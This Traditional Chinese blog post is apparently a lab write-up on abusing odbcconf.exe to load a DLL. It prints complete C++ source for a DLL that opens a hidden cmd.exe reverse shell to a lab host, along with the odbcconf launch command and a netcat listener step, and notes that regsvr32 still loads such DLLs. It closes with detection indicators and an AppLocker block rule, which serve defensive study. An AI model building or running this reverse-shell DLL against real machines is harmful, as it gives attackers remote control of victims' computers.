今天要來展示一個被修補好的洞,
而且是打了一整天才發現全部都被 patch 掉了所以沒成功,
不過過程挺有趣的,還是想記錄一下。
Odbcconf.exe 是用來設定 ODBC 驅動程式和資料來源的工具,
但也因為它可以執行 DLL 檔案中的函數,我們可以利用這個特性來執行惡意程式碼。
ODBC 是什麼?
ODBC 介紹
ODBC 全名是 Open Database Connectivity,從名字我們大概也可以看出來他跟資料庫相關,
那其實我們可以把它當作是一個萬能鑰匙,
今天如果有好幾個資料庫,像是 SQL Server, MySQL, Oracle, Access,
我們就可以用同樣的方式打開,在開發上帶來更多彈性。
ODBC 原理 & 架構
ODBC 是用一個中間層來達成資料庫的抽象化,主要包含四個核心元件:
- Application:任何需要 access 資料庫的程式會去呼叫 ODBC API 的函式來對資料庫操作(e.g. 連線、SQL 查詢)
- Driver Manager: 中樞,通常是 OS 提供的(像 Windows 就是用 odbc32.dll),當程式呼叫 ODBC 函式的時候,就會去接收,轉發給對應的 Driver
- Driver: 針對特定資料庫開發的 DLL,把呼叫的內容翻譯成該資料庫可以理解的 command 或 API,然後資料庫回傳的結果再轉換成程式可以理解的ODBC格式
- Data Source: 使用者要 access 的資料庫、位置、連線需要的相關資訊(伺服器名稱、資料庫名稱、帳號密碼…)。使用者要先用 ODBC Data Source Manager 設定一個 DSN(Data Source Name),程式才可以透過這個 DSN 去指定要連線的目標。
所以整體流程可以想像成是這樣:
App <--> ODBC API <--> Driver Manager <--> Driver <--> Data Source
Odbcconf.exe 的常見用途
我們先直接執行一次 odbcconf.exe,
應該就會跳出一個使用說明:

# 安裝 ODBC 驅動
odbcconf.exe /a {INSTALLDRIVER "SQL Server|Driver=sqlsrv32.dll"}
# 設定系統 DSN
odbcconf.exe /a {CONFIGSYSDSN "SQL Server" "DSN=TestDB|Server=localhost"}
# 執行 response file
odbcconf.exe /f setup.rsp
odbcconf.exe 提供一個 REGSVR 動作(行為等同 regsvr32.exe),
執行時會載入指定的 DLL 並呼叫它匯出的 DllRegisterServer 函式,
如果我們可以寫一個惡意DLL,這就會是我們這次的主要攻擊點。
攻擊流程
今天我們來一起實作看看,
載入惡意 DLL 來執行 Reverse Shell。
這次的攻擊基本上是參考這些網站內容:
https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/
https://gist.github.com/NickTyrer/6ef02ce3fd623483137b45f65017352b
https://github.com/woanware/application-restriction-bypasses
https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
Step 1: 自己寫一個惡意 DLL
dllmain.cpp:
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define DEFAULT_BUFLEN 1024
void ReverseShell() {
const char* LHOST = "192.168.227.129";
int LPORT = 4444;
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in clientService;
PROCESS_INFORMATION pi;
STARTUPINFOA si;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return;
}
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return;
}
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(LHOST);
clientService.sin_port = htons(LPORT);
if (connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)) == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return;
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(ConnectSocket);
WSACleanup();
}
extern "C" __declspec(dllexport) BOOL WINAPI DllRegisterServer() {
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShell, NULL, 0, NULL);
if (thread) {
CloseHandle(thread);
}
return TRUE;
}
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
這邊記得在 Visual Studio 編譯的時候要調整 Debug 改為 Release,
然後選的是x64,
然後我們拆開來看一下,
ReverseShell()
void ReverseShell() {
const char* LHOST = "192.168.227.129";
int LPORT = 4444;
WSADATA wsaData;
SOCKET ConnectSocket = INVALID_SOCKET;
struct sockaddr_in clientService;
PROCESS_INFORMATION pi;
STARTUPINFOA si;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
return;
}
ConnectSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (ConnectSocket == INVALID_SOCKET) {
WSACleanup();
return;
}
clientService.sin_family = AF_INET;
clientService.sin_addr.s_addr = inet_addr(LHOST);
clientService.sin_port = htons(LPORT);
if (connect(ConnectSocket, (SOCKADDR*)&clientService, sizeof(clientService)) == SOCKET_ERROR) {
closesocket(ConnectSocket);
WSACleanup();
return;
}
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;
ZeroMemory(&pi, sizeof(pi));
CreateProcessA(
"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
NULL,
TRUE,
CREATE_NO_WINDOW,
NULL,
NULL,
&si,
&pi
);
WaitForSingleObject(pi.hProcess, INFINITE);
CloseHandle(pi.hProcess);
CloseHandle(pi.hThread);
closesocket(ConnectSocket);
WSACleanup();
}
WSAStartup,socket: 初始化網路環境,建一個 Socketconnect: 會主動去連線到前面設定的 LHOST, LPORTsi.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)ConnectSocket;: Reverse Shell 的精隨,告訴等一下要建立的 cmd.exe 說,標準輸入、輸出、錯誤輸出都不要用預設的,要用前面 ConnectSocket 連線到的,這樣我們就可以 nc 接收到,就可以開始對目標電腦操作了CreateProcessA: 用來啟動 cmd.exeCREATE_NO_WINDOW: 讓 cmd.exe 在背景執行,不會跳出視窗,進行隱蔽
DllRegisterServer()
extern "C" __declspec(dllexport) BOOL WINAPI DllRegisterServer() {
HANDLE thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ReverseShell, NULL, 0, NULL);
if (thread) {
CloseHandle(thread);
}
return TRUE;
}
extern "C" __declspec(dllexport): 告訴 compiler 要把 DllRegisterServer 匯出,讓外面的程式可以呼叫他DllRegisterServer是一個標準函式,也是我們這次主要攻擊的點,但目前這部分已經被 Windows 修掉了,推估是會檢查路徑或簽章,但目前實測 regsvr32.exe 還是可以呼叫到自己寫的 dll,這些呼叫的過程就是在註冊 DLL 的 COM 元件- 舊版本:在 odbcconf.exe 嘗試註冊的時候,就會執行然後呼叫
ReverseShell(),達到攻擊目的
DllMain()
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH:
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
DllMain是所有 Windows Dll 的標準進入點,只要有程式載入就會呼叫到他- 因為這邊我們主要是希望程式執行到 DllRegisterServer,所以 DllMain 這邊就沒放什麼東西了,只是個簡單的模板
Step 2: 傳送 DLL 並執行
在 cmd 上執行:
C:\Windows\System32\odbcconf.exe /S /A {CONFIGDRIVER "SQL Server" "Driver=C:\Test\evil-dll.dll"}
驅動程式(接在 CONFIGDRIVER 後面的那串)也可以用其他的代替,
原本有使用過 Microsoft Access Driver,
但也發現測試的電腦上沒有這個 Driver,
所以最後是使用大部分電腦上可能會有的 SQL Server 來當作跳板
Step 3: 獲得 Shell
打開負責監聽的主機,應該就會發現 nc 到了 shell 可以用,
但測試期間發現 Windows 11 已經修掉這個了,
不過也發現 regsvr32.exe 還是可以跑自訂 dll 的
偵測&防禦建議
關鍵偵測指標
odbcconf.exe+/a {REGSVR= 極度可疑odbcconf.exe執行非 ODBC 相關的 DLL- Response file 在 Temp、Downloads 等可疑位置
- odbcconf.exe 產生非預期的子程序
防禦設定
目前沒有官方的登錄檔或群組原則可以直接「停用 odbcconf.exe」,
實務上建議用 AppLocker 或 WDAC 來封鎖,例如用 AppLocker 路徑規則擋掉 odbcconf.exe:
# 產生一條 Deny 路徑規則(XML),封鎖 odbcconf.exe 執行
$ruleXml = @"
<AppLockerPolicy Version="1">
<RuleCollection Type="Exe" EnforcementMode="Enabled">
<FilePathRule Id="5e9d9f4a-3d8a-4c0a-9a2f-0d6f2a1b7c01" Name="Deny odbcconf.exe" Description="" UserOrGroupSid="S-1-1-0" Action="Deny">
<Conditions>
<FilePathCondition Path="%SYSTEM32%\ODBCCONF.EXE" />
</Conditions>
</FilePathRule>
</RuleCollection>
</AppLockerPolicy>
"@
Set-AppLockerPolicy -XmlPolicy $ruleXml
注意:Set-AppLockerPolicy 會覆寫整份本機 AppLocker 原則,實務部署時應把這條規則併入現有原則(或透過 GPO 派發),並先以 Audit 模式觀察影響。
總結!
Odbcconf 危險因為:
- 執行 DLL 函數 - 透過 REGSVR 動作
- 系統信任 - 有 Microsoft 簽章
- Response File - 可以批次執行多個動作
- 繞過白名單 - 合法的系統管理工具